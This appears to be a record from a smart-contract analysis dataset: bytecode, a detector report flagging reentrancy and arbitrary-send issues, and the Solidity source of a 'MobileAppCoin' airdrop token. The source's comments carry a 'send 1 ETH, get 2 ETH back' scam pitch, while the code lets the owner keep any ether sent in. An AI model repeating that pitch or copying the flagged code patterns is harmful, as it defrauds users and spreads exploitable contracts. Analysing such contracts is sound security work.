ffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561244957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061242f906143a6565b91905055506003600a819055506003600b81905550612513565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561250157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124e7906143a6565b91905055506002600a819055506002600b81905550612512565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff16156126b4574260175411156126605760105481111561258857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061260c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260390613f30565b60405180910390fd5b602d4261261991906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f4261266d91906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b60006126c030610c0a565b9050601560169054906101000a900460ff1615801561272d5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127455750601560149054906101000a900460ff165b15612aa65760158054906101000a900460ff16156127e25742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154106127e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d890613f90565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461283891906141c6565b42111561284857600a9050612970565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461289891906141c6565b4211156128a857600f905061296f565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128f891906141c6565b421115612908576014905061296e565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461295891906141c6565b421115612968576019905061296d565b602390505b5b5b5b612997600a612989600484612db490919063ffffffff16565b6130b790919063ffffffff16565b600a819055506129c4600a6129b6600684612db490919063ffffffff16565b6130b790919063ffffffff16565b600b819055506000821115612a8b57612a256064612a17600c54612a09601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b821115612a8157612a7e6064612a70600c54612a62601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b91505b612a8a82612e2f565b5b60004790506000811115612aa357612aa247612bcf565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612b4f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b5957600090505b612b6584848484613101565b50505050565b6000838311158290612bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612baa9190613eae565b60405180910390fd5b5060008385612bc291906142a7565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c1f6002846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612c4a573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9b6004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cc6573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d176004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d42573d6000803e3d6000fd5b5050565b6000600854821115612d8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8490613ef0565b60405180910390fd5b6000612d9761312e565b9050612dac81846130b790919063ffffffff16565b915050919050565b600080831415612dc75760009050612e29565b60008284612dd5919061424d565b9050828482612de4919061421c565b14612e24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1b90613fb0565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612e6757612e6661447c565b5b604051908082528060200260200182016040528015612e955781602001602082028036833780820191505090505b5090503081600081518110612ead57612eac61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612f4f57600080fd5b505afa158015612f63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f8791906138af565b81600181518110612f9b57612f9a61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061300230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118cb565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016130669594939291906140ab565b600060405180830381600087803b15801561308057600080fd5b505af1158015613094573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006130f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613159565b905092915050565b8061310f5761310e6131bc565b5b61311a8484846131ff565b80613128576131276133ca565b5b50505050565b600080600061313b6133de565b9150915061315281836130b790919063ffffffff16565b9250505090565b600080831182906131a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131979190613eae565b60405180910390fd5b50600083856131af919061421c565b9050809150509392505050565b6000600a541480156131d057506000600b54145b156131da576131fd565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b60008060008060008061321187613440565b95509550955095509550955061326f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134a890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061330485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061335081613550565b61335a848361360d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516133b79190614090565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea000009050613414683635c9adc5dea000006008546130b790919063ffffffff16565b82101561343357600854683635c9adc5dea0000093509350505061343c565b81819350935050505b9091565b600080600080600080600080600061345d8a600a54600b54613647565b925092509250600061346d61312e565b905060008060006134808e8787876136dd565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006134ea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612b6b565b905092915050565b600080828461350191906141c6565b905083811015613546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161353d90613f50565b60405180910390fd5b8091505092915050565b600061355a61312e565b905060006135718284612db490919063ffffffff16565b90506135c581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b613622826008546134a890919063ffffffff16565b60088190555061363d816009546134f290919063ffffffff16565b6009819055505050565b6000806000806136736064613665888a612db490919063ffffffff16565b6130b790919063ffffffff16565b9050600061369d606461368f888b612db490919063ffffffff16565b6130b790919063ffffffff16565b905060006136c6826136b8858c6134a890919063ffffffff16565b6134a890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806136f68589612db490919063ffffffff16565b9050600061370d8689612db490919063ffffffff16565b905060006137248789612db490919063ffffffff16565b9050600061374d8261373f85876134a890919063ffffffff16565b6134a890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061377961377484614145565b614120565b9050808382526020820190508285602086028201111561379c5761379b6144b0565b5b60005b858110156137cc57816137b288826137d6565b84526020840193506020830192505060018101905061379f565b5050509392505050565b6000813590506137e581614864565b92915050565b6000815190506137fa81614864565b92915050565b600082601f830112613815576138146144ab565b5b8135613825848260208601613766565b91505092915050565b60008135905061383d8161487b565b92915050565b6000815190506138528161487b565b92915050565b60008135905061386781614892565b92915050565b60008151905061387c81614892565b92915050565b600060208284031215613898576138976144ba565b5b60006138a6848285016137d6565b91505092915050565b6000602082840312156138c5576138c46144ba565b5b60006138d3848285016137eb565b91505092915050565b600080604083850312156138f3576138f26144ba565b5b6000613901858286016137d6565b9250506020613912858286016137d6565b9150509250929050565b600080600060608486031215613935576139346144ba565b5b6000613943868287016137d6565b9350506020613954868287016137d6565b925050604061396586828701613858565b9150509250925092565b60008060408385031215613986576139856144ba565b5b6000613994858286016137d6565b92505060206139a585828601613858565b9150509250929050565b6000602082840312156139c5576139c46144ba565b5b600082013567ffffffffffffffff8111156139e3576139e26144b5565b5b6139ef84828501613800565b91505092915050565b600060208284031215613a0e57613a0d6144ba565b5b6000613a1c8482850161382e565b91505092915050565b600060208284031215613a3b57613a3a6144ba565b5b6000613a4984828501613843565b91505092915050565b600060208284031215613a6857613a676144ba565b5b6000613a7684828501613858565b91505092915050565b600080600060608486031215613a9857613a976144ba565b5b6000613aa68682870161386d565b9350506020613ab78682870161386d565b9250506040613ac88682870161386d565b9150509250925092565b6000613ade8383613aea565b60208301905092915050565b613af3816142db565b82525050565b613b02816142db565b82525050565b6000613b1382614181565b613b1d81856141a4565b9350613b2883614171565b8060005b83811015613b59578151613b408882613ad2565b9750613b4b83614197565b925050600181019050613b2c565b5085935050505092915050565b613b6f816142ed565b82525050565b613b7e81614330565b82525050565b6000613b8f8261418c565b613b9981856141b5565b9350613ba9818560208601614342565b613bb2816144bf565b840191505092915050565b6000613bca6023836141b5565b9150613bd5826144d0565b604082019050919050565b6000613bed602a836141b5565b9150613bf88261451f565b604082019050919050565b6000613c106022836141b5565b9150613c1b8261456e565b604082019050919050565b6000613c336022836141b5565b9150613c3e826145bd565b604082019050919050565b6000613c56601b836141b5565b9150613c618261460c565b602082019050919050565b6000613c796015836141b5565b9150613c8482614635565b602082019050919050565b6000613c9c6023836141b5565b9150613ca78261465e565b604082019050919050565b6000613cbf6021836141b5565b9150613cca826146ad565b604082019050919050565b6000613ce26020836141b5565b9150613ced826146fc565b602082019050919050565b6000613d056029836141b5565b9150613d1082614725565b604082019050919050565b6000613d286025836141b5565b9150613d3382614774565b604082019050919050565b6000613d4b6024836141b5565b9150613d56826147c3565b604082019050919050565b6000613d6e6017836141b5565b9150613d7982614812565b602082019050919050565b6000613d916018836141b5565b9150613d9c8261483b565b602082019050919050565b613db081614319565b82525050565b613dbf81614323565b82525050565b6000602082019050613dda6000830184613af9565b92915050565b6000604082019050613df56000830185613af9565b613e026020830184613af9565b9392505050565b6000604082019050613e1e6000830185613af9565b613e2b6020830184613da7565b9392505050565b600060c082019050613e476000830189613af9565b613e546020830188613da7565b613e616040830187613b75565b613e6e6060830186613b75565b613e7b6080830185613af9565b613e8860a0830184613da7565b979650505050505050565b6000602082019050613ea86000830184613b66565b92915050565b60006020820190508181036000830152613ec88184613b84565b905092915050565b60006020820190508181036000830152613ee981613bbd565b9050919050565b60006020820190508181036000830152613f0981613be0565b9050919050565b60006020820190508181036000830152613f2981613c03565b9050919050565b60006020820190508181036000830152613f4981613c26565b9050919050565b60006020820190508181036000830152613f6981613c49565b9050919050565b60006020820190508181036000830152613f8981613c6c565b9050919050565b60006020820190508181036000830152613fa981613c8f565b9050919050565b60006020820190508181036000830152613fc981613cb2565b9050919050565b60006020820190508181036000830152613fe981613cd5565b9050919050565b6000602082019050818103600083015261400981613cf8565b9050919050565b6000602082019050818103600083015261402981613d1b565b9050919050565b6000602082019050818103600083015261404981613d3e565b9050919050565b6000602082019050818103600083015261406981613d61565b9050919050565b6000602082019050818103600083015261408981613d84565b9050919050565b60006020820190506140a56000830184613da7565b92915050565b600060a0820190506140c06000830188613da7565b6140cd6020830187613b75565b81810360408301526140df8186613b08565b90506140ee6060830185613af9565b6140fb6080830184613da7565b9695505050505050565b600060208201905061411a6000830184613db6565b92915050565b600061412a61413b565b90506141368282614375565b919050565b6000604051905090565b600067ffffffffffffffff8211156141605761415f61447c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006141d182614319565b91506141dc83614319565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614211576142106143ef565b5b828201905092915050565b600061422782614319565b915061423283614319565b9250826142425761424161441e565b5b828204905092915050565b600061425882614319565b915061426383614319565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561429c5761429b6143ef565b5b828202905092915050565b60006142b282614319565b91506142bd83614319565b9250828210156142d0576142cf6143ef565b5b828203905092915050565b60006142e6826142f9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061433b82614319565b9050919050565b60005b83811015614360578082015181840152602081019050614345565b8381111561436f576000848401525b50505050565b61437e826144bf565b810181811067ffffffffffffffff8211171561439d5761439c61447c565b5b80604052505050565b60006143b182614319565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156143e4576143e36143ef565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b61486d816142db565b811461487857600080fd5b50565b614884816142ed565b811461488f57600080fd5b50565b61489b81614319565b81146148a657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220501783c59ecb8220dd0d29d84ba97a00f0f813e4c77013d15d8be973638aec8364736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,770 |
0x9cfed76501ac8cf181a9d9fead5af25e2c901959
|
// []Fuction Double ETH
// []=> Send 1 Ether to this Contract address and you will get 2 Ether from balance
// []=> SEND 1 ETHER TO 0x9cfed76501ac8cf181a9d9fead5af25e2c901959
// [Balance]=> 0x0000000000000000000000000000000000000000
// *Listing coinmarketcap & coingecko if the address contract storage reaches 5 ether*
// Send 0 ETH to this contract address
// you will get a free MobileAppCoin
// every wallet address can only claim 1x
// Balance MobileAppCoin => 0x0000000000000000000000000000000000000000
// MobileAppCoin
// website: http://mobileapp.tours
// Twitter: https://twitter.com/mobileappcoin
// contact: support@mobileapp.tours
// Telegram: https://t.me/mobileapptours
// Linkedin: https://www.linkedin.com/in/mobile-app-285211163/
// Medium: https://medium.com/@mobileappcoin
// Comingsoon : https://coinmarketcap.com/currencies/MAC/
// https://www.coingecko.com/en/coins/MAC/
// SEND 1 GWEI TO THIS ADDRESS AND SET GAS LIMIT 100,000 FOR GET BITRON
// MORE FREE COIN AND TOKEN https://goo.gl/forms/Mclc69Zc2WFXKEby1
// Token creation service, the cost of 1 ether already includes verification
// contact : https://www.instagram.com/haritssulaiman/?hl=en
// Join Channel: t.me/coinmarketcapinfo
pragma solidity ^0.4.19;
// ZeroXEth the Uprising Token powered by giants
// Token name: ZeroXEth
// Symbol: 0XETH
// Decimals: 8
// Telegram channel: https://t.me/oxeth
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Token {
function distr(address _to, uint256 _value) public returns (bool);
function totalSupply() constant public returns (uint256 supply);
function balanceOf(address _owner) constant public returns (uint256 balance);
}
contract MAC is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public constant name = "MobileAppCoin";
string public constant symbol = "MAC";
uint public constant decimals = 8;
uint256 public totalSupply = 1000000000e8;
uint256 public totalDistributed = 100000000e8;
uint256 public totalRemaining = totalSupply.sub(totalDistributed);
uint256 public value;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function MAC () public {
owner = msg.sender;
value = 4000e8;
distr(owner, totalDistributed);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function enableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = false;
}
}
function disableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = true;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
Distr(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function airdrop(address[] addresses) onlyOwner canDistr public {
require(addresses.length <= 255);
require(value <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(value <= totalRemaining);
distr(addresses[i], value);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
require(addresses.length <= 255);
require(amount <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(amount <= totalRemaining);
distr(addresses[i], amount);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr onlyWhitelist public {
if (value > totalRemaining) {
value = totalRemaining;
}
require(value <= totalRemaining);
address investor = msg.sender;
uint256 toGive = value;
distr(investor, toGive);
if (toGive > 0) {
blacklist[investor] = true;
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
value = value.div(100000).mul(99999);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
// mitigates the ERC20 spend/approval race condition
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
uint256 etherBalance = this.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
|
0x6080604052600436106101535763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461015d578063095ea7b3146101e757806318160ddd1461021f57806323b872dd14610246578063313ce567146102705780633ccfd60b146102855780633fa4f2451461029a57806342966c68146102af578063502dadb0146102c757806370a082311461031c578063729ad39e1461033d57806395d89b41146103925780639b1cbccc146103a75780639c09c835146103bc578063a8c310d514610411578063a9059cbb1461049f578063aa6ca80814610153578063c108d542146104c3578063c489744b146104d8578063d8a54360146104ff578063dd62ed3e14610514578063e58fc54c1461053b578063efca2eed1461055c578063f2fde38b14610571578063f3e4877c14610592578063f9f92be4146105e9575b61015b61060a565b005b34801561016957600080fd5b506101726106ea565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ac578181015183820152602001610194565b50505050905090810190601f1680156101d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f357600080fd5b5061020b600160a060020a0360043516602435610721565b604080519115158252519081900360200190f35b34801561022b57600080fd5b506102346107c9565b60408051918252519081900360200190f35b34801561025257600080fd5b5061020b600160a060020a03600435811690602435166044356107cf565b34801561027c57600080fd5b50610234610954565b34801561029157600080fd5b5061015b610959565b3480156102a657600080fd5b506102346109b3565b3480156102bb57600080fd5b5061015b6004356109b9565b3480156102d357600080fd5b506040805160206004803580820135838102808601850190965280855261015b95369593946024949385019291829185019084908082843750949750610a989650505050505050565b34801561032857600080fd5b50610234600160a060020a0360043516610b0d565b34801561034957600080fd5b506040805160206004803580820135838102808601850190965280855261015b95369593946024949385019291829185019084908082843750949750610b289650505050505050565b34801561039e57600080fd5b50610172610bd8565b3480156103b357600080fd5b5061020b610c0f565b3480156103c857600080fd5b506040805160206004803580820135838102808601850190965280855261015b95369593946024949385019291829185019084908082843750949750610c759650505050505050565b34801561041d57600080fd5b506040805160206004803580820135838102808601850190965280855261015b95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610cea9650505050505050565b3480156104ab57600080fd5b5061020b600160a060020a0360043516602435610dcf565b3480156104cf57600080fd5b5061020b610ec0565b3480156104e457600080fd5b50610234600160a060020a0360043581169060243516610ec9565b34801561050b57600080fd5b50610234610f7a565b34801561052057600080fd5b50610234600160a060020a0360043581169060243516610f80565b34801561054757600080fd5b5061020b600160a060020a0360043516610fab565b34801561056857600080fd5b506102346110ff565b34801561057d57600080fd5b5061015b600160a060020a0360043516611105565b34801561059e57600080fd5b506040805160206004803580820135838102808601850190965280855261015b9536959394602494938501929182918501908490808284375094975050933594506111579350505050565b3480156105f557600080fd5b5061020b600160a060020a0360043516611202565b600954600090819060ff161561061f57600080fd5b3360009081526004602052604090205460ff161561063c57600080fd5b600754600854111561064f576007546008555b600754600854111561066057600080fd5b505060085433906106718282611217565b50600081111561069f57600160a060020a0382166000908152600460205260409020805460ff191660011790555b600554600654106106b8576009805460ff191660011790555b6106e36201869f6106d7620186a060085461131a90919063ffffffff16565b9063ffffffff61133116565b6008555050565b60408051808201909152600d81527f4d6f62696c65417070436f696e00000000000000000000000000000000000000602082015281565b600081158015906107545750336000908152600360209081526040808320600160a060020a038716845290915290205415155b15610761575060006107c3565b336000818152600360209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b60055481565b6000606060643610156107de57fe5b600160a060020a03841615156107f357600080fd5b600160a060020a03851660009081526002602052604090205483111561081857600080fd5b600160a060020a038516600090815260036020908152604080832033845290915290205483111561084857600080fd5b600160a060020a038516600090815260026020526040902054610871908463ffffffff61135c16565b600160a060020a03861660009081526002602090815260408083209390935560038152828220338352905220546108ae908463ffffffff61135c16565b600160a060020a0380871660009081526003602090815260408083203384528252808320949094559187168152600290915220546108f2908463ffffffff61136e16565b600160a060020a0380861660008181526002602090815260409182902094909455805187815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3506001949350505050565b600881565b600154600090600160a060020a0316331461097357600080fd5b50600154604051303191600160a060020a03169082156108fc029083906000818181858888f193505050501580156109af573d6000803e3d6000fd5b5050565b60085481565b600154600090600160a060020a031633146109d357600080fd5b336000908152600260205260409020548211156109ef57600080fd5b5033600081815260026020526040902054610a10908363ffffffff61135c16565b600160a060020a038216600090815260026020526040902055600554610a3c908363ffffffff61135c16565b600555600654610a52908363ffffffff61135c16565b600655604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b600154600090600160a060020a03163314610ab257600080fd5b5060005b81518110156109af576001600460008484815181101515610ad357fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff1916911515919091179055600101610ab6565b600160a060020a031660009081526002602052604090205490565b600154600090600160a060020a03163314610b4257600080fd5b60095460ff1615610b5257600080fd5b815160ff1015610b6157600080fd5b6007546008541115610b7257600080fd5b5060005b8151811015610bbc576007546008541115610b9057600080fd5b610bb38282815181101515610ba157fe5b90602001906020020151600854611217565b50600101610b76565b600554600654106109af576009805460ff191660011790555050565b60408051808201909152600381527f4d41430000000000000000000000000000000000000000000000000000000000602082015281565b600154600090600160a060020a03163314610c2957600080fd5b60095460ff1615610c3957600080fd5b6009805460ff191660011790556040517f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc90600090a150600190565b600154600090600160a060020a03163314610c8f57600